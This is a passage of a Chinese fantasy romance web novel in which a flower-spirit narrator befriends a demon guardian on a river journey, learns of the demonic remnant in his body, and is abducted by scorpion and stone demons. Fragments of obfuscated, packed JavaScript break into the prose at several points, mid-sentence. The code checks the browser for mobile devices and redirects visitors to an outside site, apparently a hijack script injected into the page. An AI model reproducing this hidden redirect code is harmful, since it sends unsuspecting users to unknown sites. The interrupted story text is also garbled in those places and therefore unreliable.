“嘿嘿,这位姜姑娘,来小酌一杯。” 没想到鲶鱼妖王特意和我来碰杯,我赶忙举起小酒杯碰一下,一饮而尽。 “姜姑娘,我两年前见过护法,是在魔宫的时候。那时他独来独往的,没想到这次还带了一个你过来,实在难得。”鲶鱼妖王像个长辈一样开始忆当年。 没从他的语气里感受到对我的轻蔑,应该就是纯吃瓜。毕竟独来独往的人,身边多了一个人,总会显得稀奇些。 观沧海拆着螃蟹,说道:“魔尊让我带上的。” “哦,哦,这样哦,还以为是护法自己喜欢才带的。”鲶鱼妖王憨笑两声,然后对我挤眉弄眼,小声道:“姜姑娘,你的机会还是很大的。当年魔尊让我挑一些貌美的小妖精送到护法家里,他一个都不收的。” 撕扯着烤鸡腿,我也不忘吃瓜,点头表示自己在听,“嗯嗯,然后呢?” “没然后啊,都不收。我有个水蛇小妹,那妖娆妩媚的,啧啧,他是一点没心思。” “这样哦。” “所以,姜姑娘努努力肯定有机会,你是什么小妖啊?” “牡丹花。” “噢哟,还得是花妖呢,都说花妖身娇体软多貌美,我夫人就是莲花妖哦,当年求娶可是费了一番功夫!” 一来二去我和鲶鱼妖王就这么八卦上了,还吃了一口追妻小故事,一边的观沧海很是无语,自己吃完了就离席,也不叫我。 听完故事,我也赶紧撤。 “护法,等等我!我也吃好了,我们去河边散散步呀,鲶鱼大王说这里有莲花池,月夜赏莲花很好看的!” 将盘子里的点心都揣上,我飞快追上去。 16.16 还以为会追不上了,走出宫殿,就看到等在门边的观沧海。 我从他背后绕过去,将一块小鱼形状的绿豆糕递给他,“护法,你在等我。” “我不吃。不是要去河边么。” “你愿意陪我去?” “我不去,你要是被精怪吃了,我怎么和魔尊交代。” “哦,走走走。” 和侍女借来一盏灯,我右手提灯,左手拿着糕点吃。观沧海走在我身旁,他没有主动说话,我飞快瞄他一眼。 我的身高和他肩膀齐平,感觉他一只手就能将我给抱住。从小当打手,身板练得特别好呢,看着很有安全感。 从河底的宫殿离开,被士兵送上岸,外面一轮孤月悬挂,没几颗星星。 冷冽的冬风刮过,脚边的草丛如海浪一波波涌起,我顺着士兵指的方向,提灯去找那处有灵力汇聚的莲池。 “鲶鱼大王的夫人就是在那片莲池化形的,所以到了这个季节还有莲花哦。” “嗯。” “护法你看得见吧,小心脚下。” 我怕灯光微弱,他看不清脚下,然而这话问出来,我自己在河边踩到石头崴脚。身体重心倾斜的刹那,我就往河里摔去。 尖叫都没来得及出口,右手小臂被少年一把拽住,他拉着我稳住了身形,往上坡的路走,离开了河边。 灯罩里的火光慌乱地张牙舞爪,随后才慢慢平定,没有熄灭。 “谁小心脚下?”他松开我的手臂,这么质疑。 “我小心,我注意。” 我尴尬地笑笑,这才感觉到被他握过的手臂有些痛。观沧海继续往前走,我跟在他的后面,将左臂的袖子一层层地挽起来。 用灯火一照,刚才他拉我手臂,力道比较猛,就这么一下,我的皮肤就青紫了。 他的确力气不小,我也真是一朵娇花。 内心这么苦情地吐槽,我刚要放下袖子,被返身回来的观沧海给挡住,他看着我的手臂,又看了看自己的手掌。 “我撞到的。”我张嘴就撒谎。 “撞出我的指印?”他将手掌盖在淤青处,十分吻合。 当场被拆穿,我也没好意思再说什么。 “你这么弱,怎么好意思缠着要做我朋友。” “……”好吐槽,我也这么觉得,但任务还得做呀。我尬笑一下,“没事的,擦点药酒就好了,总比摔河里好,我没有怪护法。” “药酒呢。” “在乾坤袋里,是绿色的那个,挂在我腰带上。” 他的视线瞥过,伸手将我腰间的乾坤袋抽下,在里面找到药酒。熟练地往掌心里一倒,他对着我的皮肤一擦。 少年指尖冰冷,他的低温和我的温度形成鲜明对比,我被刺得往后一缩。 “躲什么。” “你手好冷。” “……” 他再次倒药酒,双手摩擦着掌心,将有了温度的药酒涂抹在我的皮肤上。 这回倒是温和了,小臂从钝痛变得清凉,等到药酒渗透到皮肤中,观沧海将我的袖子放下来。 他将灯拿过去,说道:“抓着我的刀。” 我看了看,长刀别在他的腰间,后端是翘起来的,我上前两步抓住刀鞘末尾,就这么一步步地跟在他后面走。 莲花池在山坳的一处水塘里,尽管是冬季,莲花靠着吸纳天地灵气,也傲然绽放。 孤月洒下的清辉披在这水塘上,让这山野的莲花也显得圣洁。就这么杵在岸边看了一阵,观沧海回头问我。 “看完了吗。” “呃,看完了。” “回去了。” “护法你不觉得景色挺好的?” “是很好,走了。” 说着,他转身离开,我又抓着他的刀鞘跟着走。好没诗情画意啊! “护法,你是不是经常出任务,所以总能看到好看的景色,对于这些都习以为常了?” “不怎么看过路的风景。” “为什么?” “因为是过路风景。” 小子,你还给我整上哲学了是吧,讲得这么意味深长的。 我不能认输,我得主动聊天,不然这友谊怎么走下去。就算是没头脑和不高兴的组合,我也要强求啊! “那如果不是过路风景,你会愿意看吗?” “可能会吧。” 他完全没有深入聊天的想法,虽说讲话还算坦诚,可还是入不了心。这种项目卡住的感觉真是不好受。 算了,还是不在大晚上的纠缠他了,毕竟我这几天一直在享福,他是正儿八经在做任务。 “还想看哪里。”观沧海问。 “不看了,我们回去吧。” 听我这么讲,他停顿身形,低头看我一眼,像是在确定我是不是生气了,“回河底宫殿?” “嗯,休息去。不能一直拉着护法瞎转悠,你累了吧。” “不累。” “真的假的,你这几天一直在干活。” “这个任务还算轻松。” 本人都这么讲了,我的愧疚心就少了那么一些,“你哪次任务比较凶险?” “更年少的时候做任务会危险一些,魔尊会安排修为高的妖魔将领跟着。” “等你法力更强了,就自己一个人了?” “嗯。” “为什么不结伴做任务呢。” “碍事。” 我怀疑他在内涵我。 “护法,你觉得自己有前世吗?” “为什么要想前世,今生都还没过完。” 这么脚踏实地的么,我打算稍微引导一下话题,“你想想,万一,你的前世很了不起呢。” 观沧海笑了笑,眉宇间有了少年人的调皮,“你这一世是花妖,上一世可能是唢呐成精,因为太吵了,就被收妖了。” “我就是打个比方嘛,那就算我前世是唢呐精好了。” “我不管什么前世,这辈子我给魔尊做好刀刃就行了。” “忠诚。” 我实在忍不住,比出了一个大拇指,你再这样,我真的要嗑生嗑死了,毕竟我对忠犬属性的角色很有好感啊。 打量着他的神色,话题还是可以继续下去的,我试探地询问,“护法,你是不是喜欢魔尊呀?” “是爱。” “哇!”我激动地抓紧刀鞘,忍不住晃动。 观沧海仰头望着那轮月牙,面上有着柔和的笑意,“她就是我的母亲,虽然她不让我这么叫。” 靠,原来是好大儿的定位啊! 刚才还磕到了的惊喜凝固在脸上,我像个傻瓜那样。合拢下巴,我还在道德边缘挣扎,这还能磕么,似乎更加香了。 “你怎么不说话了,刚才哇什么,很惊喜的样子。” 我刚才哇了一声后就不做声了,观沧海还提起灯笼在我面前晃一晃。 眼睛被灯光映亮,我眨眨眼,看向他苍白的俏脸,有些心虚地说:“我还以为你对魔尊是男人对女人的那种爱意,想和她在一起。” 观沧海锋锐的眉眼露出呆滞感,脱口而出道:“我疯了,她养我长大。” “可……”那不是更爽了吗,又没有血缘关系,这不就是养成吗,我看书可喜欢啦!放□□魔头和从小养大的宿敌小狼狗,掺杂着前世今生,和明知不可为,靠,香绝了! 内心一连排的吐槽,但是面上不敢显现,因为我发现观沧海的表情有些微妙了。 “姜星辰,你有点坏。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776907|189161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “对不起!我无耻我下流,居然这样胡乱构想你和魔尊的关系!以后不会乱猜了!”这种时候还是先道歉吧。 “是挺无耻的。” “那护法,你把魔尊当母亲,辞镜先生是父亲吗。” “辞镜先生眼里只有魔尊,爱屋及乌都是演戏,他对我没有半分情意,不是父亲。” 看来他也是看得很透,不会随便去索求感情。 “魔尊既是我的母亲,也是我的父亲,这样就行了。” “嗯嗯,只要有爱就好。” 既然对随璘的情谊这么深厚,亲情这一块是满足的,按理说,这已经达到要求了,他体内的六魔残念应该被亲情感化了呀。 还是说,其实已经没有残念了,只不过是天界想要将他带回去? 不对,要是没有残念了,随璘肯定知道,也就不会配合天界做任务。 那么观沧海知道自己身体里残存六魔残念吗,看他不在乎前世的样子,应该是不清楚前世的事情。 这么接触下来,就算观沧海成为妖魔界的顶梁柱,修炼魔功妖法,我也觉得他是个不错的人,拎得清,有责任心,答应的事基本能做到,还很孝子感恩。 跟在他身边,我确实过得还不错,这是骗不了人的。 哎呀,我真心想与他做挚友了。 他对亲情这么看重,对友情也会很在意的吧,如果是他唯一的朋友,待遇应该也不错啊。我在现代的时候,也有不少朋友,但并不是最好的那一个,她们都有更重要的友人,我只是过路。 过路的风景。 忽然有些理解观沧海这句话的意思了。重点不是风景,而是过路,我不做短暂的存在,要做永恒的好友。做一个情比金坚的好朋友,完全信任他的友人。 不要虚情假意,而是真切地和他做好友,他比我想象中要好。 “护法!” “嗯?” 我笑着望向他,“我真的想和你做好朋友,人还是要有那么一两个朋友啊。和你吃饭,和你聊天,和你玩耍,和你发呆。” “……但你好弱。” “哎呀,朋友不分强弱,只有合不合得来。还有忘年交这种呢。” “合不来。” “哎呀!我觉得合得来,护法你再处处看嘛,我会把你当最好的朋友的!” “最好的?” “嗯!” “最好的,不是唯一的,你在这里还有别的朋友。” “但是、但是朋友也有范围啊,酒肉朋友一群、普通朋友一些、核心朋友三四个、挚友一两个!” “还挺贪心。” 观沧海不听我在这叭叭蛊惑,提着灯去了河面上的漩涡,我也跟着入水。引路的鱼精将我们带去河底宫殿,而我追着他说了一路。 “护法,魔尊也说过了,你需要好朋友。” “我就很适合啊,我脾气还不错吧,虽然弱,但也不给你添乱呀。我这么知情识趣,简直是天选挚友!” “护法,你以后要是有什么想聊的,不管何时何地都可以找我!” “就算不是聊天,有我能帮忙的,我绝对帮!” “你别看我嘴上这么讲,我行动上也会做出来的!” “我会好好表现的!” 观沧海的房间就在我隔壁,追着他要跨入门槛的时候,他将刀鞘一抖,我捏在鞘上的手掌被震开。 感觉自己像追着他汪汪汪了一路的小狗,确实挺烦的。 “明日启程回去,你还要在我门口叫吗。” “呃,那你早点睡,明天见呀!” “你为什么忽然这么亢奋。” “还好啦,祝护法做个好梦!” 因为,我现在是真心想和你做朋友。 17.17 “护法,请多保重。还望在魔尊面前美言几句,水患旱灾的事情,我一定会治理好。” 鲶鱼妖王率领一队侍卫将我们送到河道边,恭敬地行礼送别。侍卫将沉甸甸的一筐特产搬过来,观沧海正要拒绝,我却已经迈出一步朝框子看过去。 察觉到我的小动作,观沧海问:“你要?” “护法不要?”我默默地将脚给缩回,主打一个察言观色。 鲶鱼妖王哈哈大笑,“不是什么贵重物品,就是一些吃的,姜姑娘喜欢路上带着,这河路风光还是不错。只是有些河面冻着了,可能得破冰前行。” “无妨,想吃你就收下。” 得到了观沧海的准许,我将那一筐东西塞进装食物的乾坤袋里,是一些晒干的河鲜,都是本地养殖用来吃的,这种一般就是菜,不会修炼成精。 鲶鱼妖王想了想,又补充道:“护法法力高强,不过我还是提醒一下,有些河流有大妖盘踞,也不服管教,都是独来独往的,若是你们走水路碰见了,少不得磕碰。” 我听了是有些担忧,但观沧海不放在眼里,对他来讲就是挖一颗妖丹,还是挖两颗妖丹的区别。 “知道了。告辞。”少年平静地说道。 办成了沱河的事情,暂时灭掉了河流妖王们的反叛之心,观沧海带着我走水路,这次用的赶路工具是浮木龟。 造型是一个大乌龟木船,船篷就像乌龟壳,能挡风霜雨雪和冰雹,里面的环境很敞亮,隔间有两个,甲板也有两米宽,能在上面做饭,或者摆椅子躺着看风景。 简直就是一个乌龟形状的快艇,还多了一个能潜水的作用,真高级。 用浮木龟走水路就比用百鸟舟在天上飞要慢许多。 浮木龟目前在河面上,行驶速度不快,两岸的景色印入眼中,到了冬日,有的植物枯黄凋零,有的妖魔植物长势喜人,不仅有绿色,还能看到黄蓝红紫之类的艳丽色彩。 要是有手机拍照就好了。 我又加了一件斗篷挡风,从绿色的乾坤袋里掏出工具放在甲板上,“护法,我准备做中饭了,中午吃得丰盛些,晚上就吃点别的,你觉得如何?” “午饭吃什么。”他坐在我拿出来的折叠木凳上,有了几分悠闲的姿态。 “你是不是又要考验我,觉得乾坤袋里没什么吃的。” 他摇摇头,“你应该会准备很多,我好奇。” 既然这么诚实地发问了,我自然不会让他失望。就连山泉水我都储备了几百斤,用法器装着的,就是考虑着有可能要野炊。 拿出装水的铜壶,又从红色乾坤袋里拿出一袋米、一袋黄豆、没剥皮的玉米、红薯、用符咒保鲜的蔬菜瓜果,一块腊肉、腊鱼,新鲜猪羊牛鸡鸭肉,还有一锅凝固的汤料…… 看到逐渐堆成小山头的材料,我从观沧海没什么活人样的脸上看出了一丝敬佩。 “护法想吃什么?” 他指着牛肉和一整只料理好的鸭子,我点头,“明白了。” 把需要的材料留下,其他的东西我让观沧海放回去。 摆上三个小火炉,放上专属锅盆,一个煮饭、一个炖鸭子,一个炒牛肉。 浮木龟在平缓的河中顺流而下,放眼望去就是两岸重叠山色,冬日暖阳下,一切都多了几分可爱,在这种江景中吃饭,还是非常惬意的。 将炉中的炭火扒出来一些,控制火势变小,这顿饭也就做好了。用抹布垫着手揭开炖鸭的锅盖,香味扑了满脸,我盛了一碗饭,拿着公筷给观沧海夹了一个鸭腿。 他接过这碗沉甸甸的饭碗,又看向我,随后默不作声地吃起来。 一个鸭子两条腿,一人一个最好不过了。 “好吃,护法,你看岸上是不是有山羊啊。”看到绿草中的白毛,我扒拉几口,喊着他去看。 观沧海抬头瞄一眼,“嗯,是羊,你要吃?” “没,看起来是羊妈妈带着小羊,挺可爱的。” 他刚才这么问,给我一种只要我点头说要吃,他就会出手宰羊的错觉。 河面涌起一圈圈涟漪,浮木龟在波浪中有所起伏,我坐着的小板凳偏移几寸。 刚才还很平静的河流似乎变得湍急,我抓紧了自己的饭碗,观沧海却放下了碗,手伸向放在脚边的长刀。 看他摸刀,我才意识到这不是普通的河流问题,而是水下面有东西。 “姜星辰,别回头。” “好!” 话音落,水面砰一声炸开,阴影笼罩着整个浮木龟,涌起的水浪将这艘船猛地推开。 少年从我身旁掠过,刀身刺出,流光婉转。我护着自己的饭,没敢回头,只是坐在凳子上等着事情平息。 应该是路过了哪个大妖的地盘被盯上了,身后传来打斗声,河面出现数个漩涡,想要把这艘船给拖入河底。 “起。” 观沧海挥出几张符咒贴在船舷边,一声令下,法术催动,让浮木龟迎着强风飞上河岸,远离这些麻烦的漩涡。 浮木龟落地时没有多少颠簸,而后面打斗的声音愈演愈烈,我提心吊胆地等着。 “铮——” 听到收刀入鞘声,我这才回头张望,那一段河面变成了猩红色,观沧海飞身上岸。 “是什么妖怪呀?” “泥鳅,接着。” 他顺手就抛过来,我一手拿着碗,一手去接,发现又是一颗妖丹。 大妖死掉后,尸体就这么放着不管也没事,反正能回馈大自然,养活一堆动植物。 既然船都上岸了,我们就打算在岸边吃完饭。观沧海像是想起什么似的,看向我的手,“还肿么。” “什么?” “手臂。” 意识到他说的是昨晚拉我那一下弄成的淤青,我不在意地挽开袖子,“你看,好多了,明天就能消退。” “嗯。” 吃过饭,收拾了炊具后,正好在岸上散步消食。 “护法,你也下来走走呗。要不去山里看看?”我指着这片树林问道,带着一种来都来了的心思。 “山野精怪多,你能打赢谁。” “那我就在这附近走,不去里面了。”识时务为俊杰的我。 走几步看到一个毛茸茸的一团,我抻着脖子看,发现是一只白兔,竖着两只耳朵在啃着什么。 谨慎地靠过去,听到我的动静,兔子抖抖耳朵,但并没有跑。我和它四目相对,发现它啃的是野菜,看起来人畜无害。 好歹我是牡丹小仙,摸摸野外的兔子应该没事吧。 挪动过去后,我伸出手去抚摸,小兔子抬头看我,也不逃。我的手轻轻落在它的毛发上,这触感又温暖又柔软还顺滑。 “护法,你看小兔子。”得手之后,我叫着甲板上晒太阳的少年。 听到我的喊声,观沧海看过来,他眉眼一厉,手又摸向了长刀,朝着我这边狂奔。 “娘,这个女的摸我。” 忽的,我手底下的兔子发出男人的声音。我低头一看,哪里还有毛发的触感,已经是一个穿着衣服的成年男人趴在地上,脸是清秀的,嘴里还叼着野菜。 而在他喊出娘这种告状的话语时,我的背后冲出来一只巨大的白兔妖精对着我挥出兔爪。 不是吧! 眨眼间,观沧海已到我身旁,手中长刀并没出鞘,他将我护到身后,一跃而起,招式精准地用刀鞘敲在兔妖的脑门上,随后一记飞踹,将庞然大物给撂倒。 “娘!”清秀的兔子男慌忙跑去兔妖旁边,没想到他老娘被两招制伏,他马上对着我们下跪,“对不起我们错了,请饶我们一命吧,我们也只是想骗些东西吃!” 我心有余悸地躲在观沧海身后,说道:“你娘扑过来的样子,像是要吃掉我。” 巨大兔妖一秒恢复乖巧,就像一个三米大的巨萌白兔,她垂着耳朵,匍匐在地,“我们错了,我刚刚只是想抓住你,然后让你的同伙用东西来赎你,饶了我们吧。我还有三十八个孩子要养呢!” “……”孩子也太多了吧,不愧是兔兔。 观沧海看我,我还在思考,兔妖将自己清秀的好大儿推出来,忍痛说道:“干脆我这个儿子送你俩啦,饶了我吧!” 被当做人情的兔子男不敢说话了,只是楚楚可怜地看着我们,其实长得不赖,是小白花那样的。 “你要兔子吗。”观沧海问。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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摸了半炷香的时间,真是爱不释手,不过要继续出发了。我将乾坤袋里的食物分了一半出去,反正后天就能到家,物资完全足够。 “多谢姑娘,多谢公子,多谢!我这儿子,你俩应该是不要的吧?”兔妖拿着吃食,小心翼翼地询问。 “嗯,不要,我们走了。” “太好了,谢谢,谢谢,保重啊!” 兔妖带着变回兔子的儿子,拿着这些吃的回去了树林中。 观沧海将浮木龟从岸上推回河面,我也赶紧跑过去上船。下午的水路比较平静,没有遇到什么拦路虎。 我进船舱里睡了一会,醒来后,外面天光就黯淡了,岸上的景色变得模糊,剩下山峦的轮廓在夜色中。 浮木龟的船头亮起一盏灯,少年挺着脊背坐在甲板上,冬夜的风吹在他身上,好像不冷似的。 我刚走出去,就被风吹得打哆嗦,连忙将披风围上。 打了个哈欠,我拿出小火炉,摆上铁网,放炭点火,陶瓷罐里煮上冰糖红枣枸杞茶,又将糍粑、柑橘、红薯放上去炙烤。 “护法,现在正是围炉煮茶的好时候啊。”拿出蒲团坐好,我对着他一笑。 他和我面对面,中间隔着炉子,壶里的茶水咕噜冒泡,蒸汽一股股地冒出,我有些看不清他的表情了,但应该比白天的时候柔和一些。 “护法,像这种旅游一样的回城,应该还挺好玩的吧。” “还行。” “和我在一起,应该不孤单吧。” “不孤单,只是麻烦。” “哈哈哈哈,朋友嘛,就是你麻烦我,我麻烦你。” “我有麻烦你什么吗。” “……呃,我好歹给你解闷了。” 假装自己很忙,我将茶水倒上,又剥了一个烤柑橘,分一半给他。 观沧海看着这一半果肉,还有热气飘飘,我自己这一半都已经塞嘴里了,稍微有点烫嘴。 “姜星辰,跟着我会有危险的。” “护法你这么厉害怕什么,这次任务,我不是一点事没有。” “我是说我很危险。” 我心虚地强调:“我不会害你的呀!”至少现在不会想着图省事,让小雨用神器一剑砍了你,速通结局! 听我这着急的话,他似乎翻了个白眼,指着自己,“我是说,我对你,会产生危险。” “啊?” 18.18 茶水煮好了,他拎起水壶倒上一杯递给我,双手接过后,我将热茶拢在掌心里汲取温暖。夜风卷过,河面浮起碎浪,船头的灯火也摇曳。 少年英俊的五官沉在光色下,似是有些许迟疑,不知该如何开口讲述。 观沧海说自己对我有危险,我后知后觉,这番话应该是触及到了核心部分,很有可能会是一个交心局。 如果不关心我的生死,他也不用特意这样说,嘴上说我麻烦,行动上却处处关照,我又不是不识好歹,总能知道他的体贴处。 当我真心想和他交友的时候,这个人似乎也感受到了我的诚恳,愿意提及一些关于自己的事。 “没关系的护法,你想好了再说也行。”啜饮一口热茶,用舌头把红枣卷出来吃掉,我像个知心大姐姐。 拿出我年上的气势啊,不然总觉得他比我年纪大。 不过算上前世的话,那的确是他年长。 “我想好了。” “那你请?” 他回避了我的目光,盯着铁丝网上炙烤的红薯,干涩的嗓音很轻地说道:“我有时候会控制不住自己。” “比如呢?” “身体里有别的东西在,严重的情况下会短暂失去意识。回过神就记不得当时发生了什么。” “修炼功法带来的副作用?” “从小开始有的。” “有出现什么糟糕的事情吗?” “第一次单独出任务的时候,把妖王分尸了,吃了对方的心脏和妖丹。” 伸手去拿柑橘的我被这句话吓到,手指一抖,把圆滚滚的果子给戳下去了,观沧海眼疾手快地接住那颗柑橘,放回我的掌心。 这一定是上古六魔残念造成的情况,不然怎么会这么凶残。 “魔尊知道吗?” “她知道,耗费了很多心力帮我压制,也让我自己多修炼,去抑制体内的暴虐气息。” 看来随璘的确是干大事的,我要是给观沧海当娘,知道他这样,不得愁死。 我慢慢地剥开果皮,烤熟的柑橘皮有点烫,我顺手就将皮丢入火炉中燃烧,又问道,“护法,你知道体内的气息是什么吗?” 观沧海沉吟许久,久到我开始剥第二个烤柑橘,并分了一半给他。 掂量着手里热乎乎的果实,他略显郁闷地掰开吃掉,含糊道:“是上古六魔残念,上古六魔是五百年前差点毁天灭地的邪魔。” 看来他是清楚自己目前的身体状况的,我干笑两声,“呃,哈哈哈哈,这样啊。那你知道我的事吗?” “你有什么事?” “……” 看他这忽然清澈的疑惑眼神,我料定随璘没有给他透露我的底细,所以这需要我在和观沧海的相处中交底。 “我没什么,以后再说。那你知道自己为什么身体里有上古六魔残念吗?” “魔尊说我倒霉被缠上的。” “……难道你没想过,或许是前世有孽缘什么的。” “和前世有什么关系,前世能帮我吗?我只看今生。” 这么务实的嘛,可能随璘也没有告诉观沧海,他的前世就是用命封印了上古六魔的上阳战神。 观沧海的前世应该是个很好很好的人,不然不会有这么多人等待他的转世,还想方设法地想要保下他的性命。至少天界的那群人,就连天帝天后都是想他活着回去的。 “护法,那你现在感觉如何呢?” “修炼有所成之后,我会有意识地压制身体里的残念,几乎不发作了。” “所以你能控制?” “比小时候好很多。” 结合他独来独往的情况,再看看他有仇必报有恩必还的样子,我明白了他的心思。 “你是担心自己哪天控制不住,伤害到我。也是因为这样,所以你独来独往,几乎只和魔尊、辞镜先生打交道,和谁都是一般般。” “……” “我是不是说中了。” “话那么多,你明明胆子不大,怎么就不怕我呢。” “你是个好人啊,你现在和我讲这个,不就是怕伤到我。护法,你虽然很少笑,也不怎么温柔,可是比那些口蜜腹剑,两面三刀的人好很多。和你做朋友,绝对是赚到了。” “……” “而且上古六魔的残念没有关系的,总有一天会清除掉!” 他听我说得这么乐观,反倒是不屑地笑了,“你究竟知不知道上古六魔意味着什么。” “知道,大概就是说出去就让人闻风丧胆,能止小儿夜哭的恐怖邪魔,话本子里的最终反派。” 可能是因为我没有经历过五百年前的神魔大战,所以讲出来就显得轻飘飘,也就有些无知无畏。意识到自己的态度可能有些轻佻,我收敛了神色,喝了一口茶水。 “我可能说得太轻浮了,不过,我是相信护法和魔尊的,而且天界也不会坐视不理。守护三界,人人有责。”这种时候喊喊口号也是好的。 观沧海将手臂杵在屈起的膝盖上,然后支起下巴,半垂着眼帘,虚着眸光看我一眼,姿势有几分懒散之意,显得放松。 “你是相信,我体内的残念能清除吗。” “当然了,一定有办法的。” “如果跟着我,有一天会遇到危险,也不怕吗。” “呃,都还没发生的事情,不要假设了。” “你仔细想想,我会伤到你,真的不在乎?” 那当然是害怕的,也在乎自己的安危。只是如今除了任务的原因,现在也有了想救他的念头。残念的存在是个毒瘤,一日不除就会威胁三界,可能也会侵蚀他自己。 既然占卜的预言说我是天选之女,我也得付出点啊,再说来都来了。 “护法,我当你挚友,是朋友就一起共患难!” 观沧海兴致缺缺地回,“随便吧,看来,我是赶不走你了。” 听起来很没干劲,也好像无所谓了,但我看他神色,比刚才主动说残念的事要轻松些,很松弛的状态。 我只有在和信得过的人相处时,才会放松吐槽之类的,我觉得这家伙还是把我当朋友了的。 “护法,你虽然不说,其实也想和我做朋友吧。我俩也算交心了,就别再支开我了。” “红薯该翻面了。” “哦。” 在他的提醒中,我将铁网上的红薯都翻面,刚才难得的交心气氛又随着这热气飘散在了夜色中。 “护法,回去以后应该暂时没任务了,你又待在家吗?” “嗯,修炼。” “劳逸结合嘛,要不要抽空出去玩。” “多修炼没有坏处,你说呢。” “……你该不会还想带着我修炼吧?” 听到我这反问的话,这次观沧海是真的嘲笑了,托腮望着我,“你这不求上进,胆小还心思多的人,应该静不下心修炼的。这很苦。” 我死鱼眼地回瞪他,“难道我就没有优点嘛。” “脸皮厚,吃得多,身体软,本相讨喜。” 要不是他这话说得很平淡,没有一丝轻薄的意思,我都要怀疑他在内涵我。 真觉得这是我的优点啊,算了,欣然接受,虽然还是觉得有点怪。 “说我本相讨喜,你是喜欢花吗?” “不讨厌。” “那你有没有讨厌的东西?” “体内的残念,还有对魔尊不好的人。” 他每说一次对随璘的忠心,我都会感慨一下为什么不是自己捡到这个好大儿。 “护法,你说有没有什么法宝,可以让人回到过去。回溯到十几年前什么的。” “操纵时辰的法宝自然有,但罕见,我没见过。你要做什么。” 用来当你妈。 “问问而已,没什么。” 我内心腹诽,面上敷衍一笑,他好似看透我心术不正,一只手一扣一弹,一缕指风打在我额头上,我吃痛哎哟一声。 “你是不是想了不好的事。” “没有啦。” 我摇头,假装又很忙地去看铁丝网上面炙烤的东西,用铁夹翻开一个糍粑,我用草叶当做碗盘垫着这巴掌大的小白糕。将中间有些焦黄的脆皮给破开,里面露出软糯的白馅儿。 “护法,放咸菜,还是蘸白糖呀?” “都要。” “好嘞,稍等。” 我拿出手指长的小刀将糍粑分成四块,蘸了不同的料,这才递给他,“这样就什么口味都能试试了,有点粘牙哦。” 他拿着蘸白糖的糍粑咬一口,手又往外一拉,烤熟软绵的白糯米就拉伸开来,不过这东西的延展性到底不比芝士,所以没几寸长就断掉了。 我也用竹签戳起糍粑吃,忽然想到他送我妖丹的事,“护法,你既然要修炼,为什么不自己吃妖丹?那东西大补吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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今日天色不太好,只是也没下雪,山里起了雾,这雾慢悠悠地朝着河面蔓延。 我吃完了早饭,捡拾了一下,又给炉子添了些柴火。 “护法,这里的雾还挺大的。”我看着河面上的雾,和他搭话。 “嗯,就这一小段有雾。” 想到他站岗没睡,我连忙说道:“你去睡吧,白天我来守。” 他抱着长刀看向我,想了想,“行,等会雾散了,若是遇见冰层,就用这道御火符打开河面。” “怎么用,要念咒语吗?” “不用,施展一点点灵力,对着冰层上丢。” “哦,知道了。” “你有灵力吗?” “这点灵力还是有的。” 看我自信发话,观沧海不再交代什么,自己拿着长刀弯腰进入船篷的房间。 他一走,甲板上就显得冷清了,一个人在这守着是有点寂寞的。 不过就像他说的,雾气在河面上没有盘踞太久,我估摸着就几分钟。 只是这雾散了以后,我觉得自己有点昏昏沉沉的,好像又想打瞌睡了。 连忙喝杯醒神茶,我烤着火蜷缩在甲板上望风。两岸景色多被白雪覆盖,因山势地形不同,风景也有差别,并不算单调。 但我的瞌睡竟是有点止不住,明明我是睡饱了才起来的。 浮木龟行进的速度有些慢下来了,我看着船周围的浮冰,意外发现冰块在聚集,这些碎冰重新凝固成一整块,向着船围拢。 这并不是气温低冻起来的,而像是有谁使用法术操纵凝冰。 冰封的河面下快速划过一道阴影,我最近对水底下的暗影都要应激了,肯定底下有妖怪! 轰隆一声巨响,冰层破碎,一只巨大的前螯夹在了船舷边上,这力道使得浮木龟剧烈一晃。 船舷一侧倾斜,我想站起来,结果身体使不上劲。水底里探出一只三米多的蝎子精怪,翘起来的长长蝎尾还将船篷给勾住。 跟着蝎子精一起现身的还有大块头石妖,像个坦克似的,这二妖破冰后,冰窟窿又迅速冻结上,将船卡在冰层中,再也动弹不了。 再一眨眼,我就被蝎尾卷住,不是吧,又是冲着我来的? “护法!别睡了,被偷家啦!” “哈哈哈哈,你那小情郎是叫不醒了的,那雾中可是有毒的,能让人昏厥使不上劲!” 难怪我没力气,还想打瞌睡,原来雾气有毒,糟了,那船舱里的观沧海不也昏迷过去了。 19.19 在这种危机时刻,脑子倒是灵光了一些,既然我和观沧海都吸入了雾气,但妖精只掳走我,并不是一上来就杀人,也不进船舱里补刀对方,搞不好是有活路的。 被拐上岸后,蝎子精的长尾一甩,我就被庞大的石妖给公主抱了,大石头勉强有个人的轮廓,但还是石头的表面,抱着我的双臂稍微光滑一点,没有硌得慌。 “嘿嘿嘿,你别怕,我们不杀你的。”石妖对着我一笑,憨味儿藏也藏不住。 这两个妖怪一鼓作气将我掳到了自己的妖洞中,开始一个唱红脸一个唱白脸。 “把你身上藏着的妖丹交出来!”蝎子精厉声呵斥。 我才意识到妖丹气息不弱,虽然放入乾坤袋里可以阻隔气息,但中途我掏出来过,气息就会泄露,只要有些道行的妖怪都能察觉出来,所以这两个妖怪是打劫妖丹的? “我不知道你在说什么。”我装傻地说。 “你——” 蝎子精扬起前螯想夹我,一旁的石妖连忙拦住他,转而单膝跪在我面前,宽大的手掌也不敢握我的手,便在我面前摊开掌心,好声好气地和我讲道。 “小花妖你快把东西交出来吧,也别惦记那个小情郎了,以后你跟了我,我让你做妖王夫人,让你吃香喝辣,给你最好的花肥!我昨夜就留意到你了,我喜欢你,给我做夫人吧。” 